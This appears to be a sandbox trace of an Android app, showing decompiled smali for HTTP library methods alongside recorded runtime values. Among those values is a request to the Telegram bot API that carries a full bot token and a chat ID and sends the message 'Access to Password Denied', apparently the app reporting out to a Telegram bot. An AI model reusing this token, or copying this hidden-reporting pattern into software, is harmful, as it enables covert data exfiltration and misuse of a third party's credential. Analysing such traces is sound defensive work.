        65invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpMessage;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        66move-result-object v0
        67if-eqz v0, :cond_79
        69const-string v0, "Content-Length"
        71invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpMessage;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        72move-result-object p1
        73array-length v0, p1
        74add-int/lit8 v0, v0, -0x1
        75goto_60: if-ltz v0, :cond_70
        76aget-object v3, p1, v0
        77try_start_64:
        78invoke-interface {v3}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        • Time: 1304372
          • This:
            • Content-Length: 243
          • Return:
            • 243
        79move-result-object v3
        81invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
        82move-result-wide v3
        83try_end_6c: goto/16 :goto_71
        84catch_6d: add-int/lit8 v0, v0, -0x1
        85goto/16 :goto_60
        86cond_70: move-wide v3, v1
        87goto_71: const-wide/16 v5, 0x0
        88cmp-long p1, v3, v5
        89if-ltz p1, :cond_78
        90return-wide v3
        91cond_78: return-wide v1
        92cond_79: iget p1, p0, Lcz/msebera/android/httpclient/impl/entity/LaxContentLengthStrategy;->implicitLen:I
        93int-to-long v0, p1
        94return-wide v0
        Cross References
        APIs
        • java.util.Collections.emptyList
        • java.lang.String.length
        • cz.msebera.android.httpclient.util.CharArrayBuffer.append
        • java.util.ArrayList.<init>
        • cz.msebera.android.httpclient.message.ParserCursor.atEnd
        • java.lang.String.length
        • cz.msebera.android.httpclient.message.BasicNameValuePair.getName
        • cz.msebera.android.httpclient.message.BasicNameValuePair.getValue
        • java.util.List.add
        Strings
        • chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@33439
        • chat_id
        • text
        • 556050782
        • Access%20to%20Password%20Denied
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/lang/String;",
        4"Ljava/nio/charset/Charset;",
        5"[C)",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/NameValuePair;",
        8">;"
        9}
        10.end annotation
        11if-nez p0, :cond_7
        13invoke-static {}, Ljava/util/Collections;->emptyList()Ljava/util/List;
        14move-result-object p0
        15return-object p0
        16cond_7:
        17sget-object v0, Lcz/msebera/android/httpclient/message/BasicHeaderValueParser;->INSTANCE:Lcz/msebera/android/httpclient/message/BasicHeaderValueParser;
        18new-instance v1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        20invoke-virtual {p0}, Ljava/lang/String;->length()I
        21move-result v2
        23invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        25invoke-virtual {v1, p0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303083
          • This:
            • java.lang.String@33439
          • p0: [C@85cca7e
          • p0: chat_id=556050782&text=Access%20to%20Password%20Denied
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@376f02c
          • Return:
            • java.lang.String@33439
        • Time: 1303082
          • This:
            • chat_id=556050782&text=Access%20to%20Password%20Denied
          • p0: chat_id=556050782&text=Access%20to%20Password%20Denied
        26new-instance p0, Lcz/msebera/android/httpclient/message/ParserCursor;
        27const/4 v2, 0x0
        29invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        30move-result v3
        32invoke-direct {p0, v2, v3}, Lcz/msebera/android/httpclient/message/ParserCursor;-><init>(II)V
        33new-instance v2, Ljava/util/ArrayList;
        35invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
        36goto_24:
        37invoke-virtual {p0}, Lcz/msebera/android/httpclient/message/ParserCursor;->atEnd()Z
        • Time: 1303089
          • This:
            • [0>0>54]
          • Return:
            • false
        • Time: 1303116
          • This:
            • [0>0>54]
          • Return:
            • true
        38move-result v3
        39if-nez v3, :cond_51
        41invoke-virtual {v0, v1, p0, p2}, Lcz/msebera/android/httpclient/message/BasicHeaderValueParser;->parseNameValuePair(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;[C)Lcz/msebera/android/httpclient/NameValuePair;
        42move-result-object v3
        44invoke-interface {v3}, Lcz/msebera/android/httpclient/NameValuePair;->getName()Ljava/lang/String;
        • Time: 1303095
          • This:
            • chat_id=556050782
          • Return:
            • chat_id
        • Time: 1303106
          • This:
            • text=Access%20to%20Password%20Denied
          • Return:
            • text
        45move-result-object v4
        47invoke-virtual {v4}, Ljava/lang/String;->length()I
        48move-result v4
        49if-lez v4, :cond_24
        50new-instance v4, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        52invoke-interface {v3}, Lcz/msebera/android/httpclient/NameValuePair;->getName()Ljava/lang/String;
        • Time: 1303097
          • This:
            • chat_id=556050782
          • Return:
            • chat_id
        • Time: 1303108
          • This:
            • text=Access%20to%20Password%20Denied
          • Return:
            • text
        53move-result-object v5
        55invoke-static {v5, p1}, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->decodeFormFields(Ljava/lang/String;Ljava/nio/charset/Charset;)Ljava/lang/String;
        56move-result-object v5
        58invoke-interface {v3}, Lcz/msebera/android/httpclient/NameValuePair;->getValue()Ljava/lang/String;
        • Time: 1303099
          • This:
            • chat_id=556050782
          • Return:
            • 556050782
        • Time: 1303114
          • This:
            • text=Access%20to%20Password%20Denied
          • Return:
            • Access%20to%20Password%20Denied
        59move-result-object v3
        61invoke-static {v3, p1}, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->decodeFormFields(Ljava/lang/String;Ljava/nio/charset/Charset;)Ljava/lang/String;
        62move-result-object v3
        64invoke-direct {v4, v5, v3}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        66invoke-interface {v2, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        67goto/16 :goto_24
        68cond_51: return-object v2
        Cross References
        APIs
        • java.util.concurrent.locks.Lock.lock
        • cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.hasThread
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Queue.isEmpty
        • java.util.Queue.remove
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Notifying thread waiting on pool [
        • ]
        • Notifying thread waiting on any pool
        • Notifying no-one, there are no waiting threads
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        3invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
        4if-eqz p1, :cond_3b
        5try_start_7:
        6invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->hasThread()Z
        • Time: 1305021
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool@de6954b
          • Return:
            • false
        7move-result v0
        8if-eqz v0, :cond_3b
        10iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        12invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        13move-result v0
        14if-eqz v0, :cond_34
        16iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        17new-instance v1, Ljava/lang/StringBuilder;
        19invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        21const-string v2, "Notifying thread waiting on pool ["
        23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        26move-result-object v2
        28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        30const-string v2, "]"
        32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        35move-result-object v1
        37invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        38cond_34:
        39invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->nextThread()Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;
        40move-result-object p1
        41goto/16 :goto_6b
        42catchall_39: move-exception p1
        43goto/16 :goto_76
        44cond_3b:
        45iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        47invoke-interface {p1}, Ljava/util/Queue;->isEmpty()Z
        48move-result p1
        49if-nez p1, :cond_5b
        51iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        53invoke-virtual {p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        54move-result p1
        55if-eqz p1, :cond_52
        57iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        59const-string v0, "Notifying thread waiting on any pool"
        61invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        62cond_52:
        63iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->waitingThreads:Ljava/util/Queue;
        65invoke-interface {p1}, Ljava/util/Queue;->remove()Ljava/lang/Object;
        66move-result-object p1
        67check-cast p1, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;
        68goto/16 :goto_6b
        69cond_5b:
        70iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        72invoke-virtual {p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        73move-result p1
        74if-eqz p1, :cond_6a
        76iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        78const-string v0, "Notifying no-one, there are no waiting threads"
        80invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        81cond_6a: const/4 p1, 0x0
        82goto_6b: if-eqz p1, :cond_70
        84invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->wakeup()V
        85cond_70:
        86iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        88invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        89return-void
        90goto_76:
        91iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        93invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
        94throw p1
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getMethod
        • java.lang.String.equalsIgnoreCase
        • java.net.InetAddress.getHostName
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.HttpHost.toHostString
        Strings
        • HTTP request
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@3c19bea
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        • java.lang.String@ee70663
        • CONNECT
        • Host
        • Target host missing
        • api.telegram.org
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11invoke-static {p2}, Lcz/msebera/android/httpclient/protocol/HttpCoreContext;->adapt(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/protocol/HttpCoreContext;
        12move-result-object p2
        14invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        15move-result-object v0
        17invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        18move-result-object v0
        20invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        21move-result-object v1
        23invoke-interface {v1}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1303175
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@9c5f48c
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@9c5f48c
          • Return:
            • java.lang.String@c1438e0
          • Return:
            • java.lang.String@c1438e0
        • Time: 1303177
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@9c5f48c
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303179
          • This:
            • cz.msebera.android.httpclient.HttpVersion@e623af4
          • Return:
            • java.lang.String@a81a21d
        • Time: 1303181
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@a13f7d5
          • p0: java.lang.String@c1438e0
        • Time: 1303183
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@a13f7d5
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303189
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@a13f7d5
          • p0: java.lang.String@a81a21d
        • Time: 1303194
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@a13f7d5
          • p0: java.lang.String@ee70663
        • Time: 1303198
          • This:
            • java.lang.String@3c19bea
          • p0: [C@7ecdedb
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@423cd78
          • Return:
            • java.lang.String@3c19bea
        • Time: 1303200
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@a13f7d5
          • Return:
            • java.lang.String@3c19bea
        24move-result-object v1
        26const-string v2, "CONNECT"
        28invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303204
          • This:
            • java.lang.String@c1438e0
          • p0: CONNECT
          • Return:
            • false
        29move-result v1
        30if-eqz v1, :cond_2a
        32sget-object v1, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        34invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        35move-result v1
        36if-eqz v1, :cond_2a
        37return-void
        38cond_2a:
        39const-string v1, "Host"
        41invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        42move-result v1
        43if-nez v1, :cond_71
        45invoke-virtual {p2}, Lcz/msebera/android/httpclient/protocol/HttpCoreContext;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        46move-result-object v1
        47if-nez v1, :cond_68
        49invoke-virtual {p2}, Lcz/msebera/android/httpclient/protocol/HttpCoreContext;->getConnection()Lcz/msebera/android/httpclient/HttpConnection;
        50move-result-object p2
        51instance-of v2, p2, Lcz/msebera/android/httpclient/HttpInetConnection;
        52if-eqz v2, :cond_55
        53check-cast p2, Lcz/msebera/android/httpclient/HttpInetConnection;
        55invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpInetConnection;->getRemoteAddress()Ljava/net/InetAddress;
        56move-result-object v2
        58invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpInetConnection;->getRemotePort()I
        59move-result p2
        60if-eqz v2, :cond_55
        61new-instance v1, Lcz/msebera/android/httpclient/HttpHost;
        63invoke-virtual {v2}, Ljava/net/InetAddress;->getHostName()Ljava/lang/String;
        64move-result-object v2
        66invoke-direct {v1, v2, p2}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;I)V
        67cond_55: if-nez v1, :cond_68
        69sget-object p1, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        71invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        72move-result p1
        73if-eqz p1, :cond_60
        74return-void
        75cond_60: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        77const-string p2, "Target host missing"
        79invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        80throw p1
        81cond_68:
        82const-string p2, "Host"
        84invoke-virtual {v1}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        • Time: 1303229
          • This:
            • https://api.telegram.org
          • Return:
            • api.telegram.org
        85move-result-object v0
        87invoke-interface {p1, p2, v0}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        88cond_71: return-void
        Cross References
        APIs
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • cz.msebera.android.httpclient.client.HttpResponseException.<init>
        • java.lang.String.<init>
        Strings
        • Access-Control-Allow-Methods: GET, POST, OPTIONS
        • Access-Control-Allow-Origin: *
        • Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        • Connection: keep-alive
        • Content-Length: 243
        • Content-Type: application/json
        • Date: Tue, 12 Feb 2019 13:29:49 GMT
        • Server: nginx/1.12.2
        • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        7move-result-object v0
        9invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z
        10move-result v0
        11if-nez v0, :cond_4c
        13invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        14move-result-object v0
        16invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        17move-result-object v1
        19invoke-virtual {p0, v1}, Lcom/loopj/android/http/AsyncHttpResponseHandler;->getResponseData(Lcz/msebera/android/httpclient/HttpEntity;)[B
        20move-result-object v1
        22invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        23move-result-object v2
        25invoke-virtual {v2}, Ljava/lang/Thread;->isInterrupted()Z
        26move-result v2
        27if-nez v2, :cond_4c
        29invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        30move-result v2
        31const/16 v3, 0x12c
        32if-lt v2, v3, :cond_41
        34invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        35move-result v2
        37invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        38move-result-object p1
        39new-instance v3, Lcz/msebera/android/httpclient/client/HttpResponseException;
        41invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        42move-result v4
        44invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getReasonPhrase()Ljava/lang/String;
        45move-result-object v0
        47invoke-direct {v3, v4, v0}, Lcz/msebera/android/httpclient/client/HttpResponseException;-><init>(ILjava/lang/String;)V
        49invoke-virtual {p0, v2, p1, v1, v3}, Lcom/loopj/android/http/AsyncHttpResponseHandler;->sendFailureMessage(I[Lcz/msebera/android/httpclient/Header;[BLjava/lang/Throwable;)V
        50goto/16 :goto_4c
        51cond_41:
        52invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        53move-result v0
        55invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        • Time: 1305028
          • This:
            • Server: nginx/1.12.2
          • p0: [C@22deaa4
          • p0: Server: nginx/1.12.2
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@637369c
          • Return:
            • Server: nginx/1.12.2
        • Time: 1305038
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@cdf8a5
          • Return:
            • Server: nginx/1.12.2
        • Time: 1305040
          • This:
            • Date: Tue, 12 Feb 2019 13:29:49 GMT
          • p0: [C@c76120e
          • p0: Date: Tue, 12 Feb 2019 13:29:49 GMT
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@3723e46
          • Return:
            • Date: Tue, 12 Feb 2019 13:29:49 GMT
        • Time: 1305044
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6c20807
          • Return:
            • Date: Tue, 12 Feb 2019 13:29:49 GMT
        • Time: 1305048
          • This:
            • Content-Type: application/json
          • p0: [C@1ea3c
          • p0: Content-Type: application/json
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@783f8d2
          • Return:
            • Content-Type: application/json
        • Time: 1305052
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@d6d1da3
          • Return:
            • Content-Type: application/json
        • Time: 1305055
          • This:
            • Content-Length: 243
          • p0: [C@faed44b
          • p0: Content-Length: 243
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@829f0ff
          • Return:
            • Content-Length: 243
        • Time: 1305059
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5837ecc
          • Return:
            • Content-Length: 243
        • Time: 1305062
          • This:
            • Connection: keep-alive
          • p0: [C@a2654e6
          • p0: Connection: keep-alive
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@41e4354
          • Return:
            • Connection: keep-alive
        • Time: 1305067
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@cfbbb8
          • Return:
            • Connection: keep-alive
        • Time: 1305072
          • This:
            • Access-Control-Allow-Origin: *
          • p0: [C@ec5167d
          • p0: Access-Control-Allow-Origin: *
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@783f8d2
          • Return:
            • Access-Control-Allow-Origin: *
        • Time: 1305075
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8a0db64
          • Return:
            • Access-Control-Allow-Origin: *
        • Time: 1305078
          • This:
            • Access-Control-Allow-Methods: GET, POST, OPTIONS
          • p0: [C@fe9da40
          • p0: Access-Control-Allow-Methods: GET, POST, OPTIONS
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@1b0b593
          • Return:
            • Access-Control-Allow-Methods: GET, POST, OPTIONS
        • Time: 1305089
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@24249d0
          • Return:
            • Access-Control-Allow-Methods: GET, POST, OPTIONS
        • Time: 1305092
          • This:
            • Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          • p0: [C@4e2771f
          • p0: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@a4a32fc
          • Return:
            • Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        • Time: 1305095
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@808ad85
          • Return:
            • Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        • Time: 1305098
          • This:
            • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
          • p0: [C@4c024ca
          • p0: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@42b9d01
          • Return:
            • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        • Time: 1305102
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@2e57a6
          • Return:
            • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        56move-result-object p1
        58invoke-virtual {p0, v0, p1, v1}, Lcom/loopj/android/http/AsyncHttpResponseHandler;->sendSuccessMessage(I[Lcz/msebera/android/httpclient/Header;[B)V
        59goto_4c: return-void
        Cross References
        APIs
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • cz.msebera.android.httpclient.message.BasicListHeaderIterator.hasNext
        Strings
        • Search position
        • Invalid character before token (pos
        • ):
        Position Instruction Meta Information
        1const-string v0, "Search position"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNegative(ILjava/lang/String;)I
        4move-result p1
        5const/4 v0, 0x0
        6move v1, p1
        7const/4 p1, 0x0
        8goto_9: if-nez p1, :cond_7a
        10iget-object v2, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        11if-eqz v2, :cond_7a
        13iget-object v2, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        15invoke-virtual {v2}, Ljava/lang/String;->length()I
        16move-result v2
        17goto_15: if-nez p1, :cond_5e
        18if-ge v1, v2, :cond_5e
        20iget-object v3, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        22invoke-virtual {v3, v1}, Ljava/lang/String;->charAt(I)C
        23move-result v3
        25invoke-virtual {p0, v3}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->isTokenSeparator(C)Z
        26move-result v4
        27if-nez v4, :cond_5b
        29invoke-virtual {p0, v3}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->isWhitespace(C)Z
        30move-result v3
        31if-eqz v3, :cond_2c
        32goto/16 :goto_5b
        33cond_2c:
        34iget-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        36invoke-virtual {p1, v1}, Ljava/lang/String;->charAt(I)C
        37move-result p1
        39invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->isTokenChar(C)Z
        40move-result p1
        41if-eqz p1, :cond_3a
        42const/4 p1, 0x1
        43goto/16 :goto_15
        44cond_3a: new-instance p1, Lcz/msebera/android/httpclient/ParseException;
        45new-instance v0, Ljava/lang/StringBuilder;
        47invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        49const-string v2, "Invalid character before token (pos "
        51invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        55const-string v1, "): "
        57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        59iget-object v1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        64move-result-object v0
        66invoke-direct {p1, v0}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        67throw p1
        68goto_5b: add-int/lit8 v1, v1, 0x1
        69goto/16 :goto_15
        70cond_5e: if-nez p1, :cond_9
        72iget-object v2, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->headerIt:Lcz/msebera/android/httpclient/HeaderIterator;
        74invoke-interface {v2}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1304671
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@dfe532c
          • Return:
            • false
        75move-result v2
        76if-eqz v2, :cond_76
        78iget-object v1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->headerIt:Lcz/msebera/android/httpclient/HeaderIterator;
        80invoke-interface {v1}, Lcz/msebera/android/httpclient/HeaderIterator;->nextHeader()Lcz/msebera/android/httpclient/Header;
        81move-result-object v1
        83invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        84move-result-object v1
        85iput-object v1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        86const/4 v1, 0x0
        87goto/16 :goto_9
        88cond_76: const/4 v2, 0x0
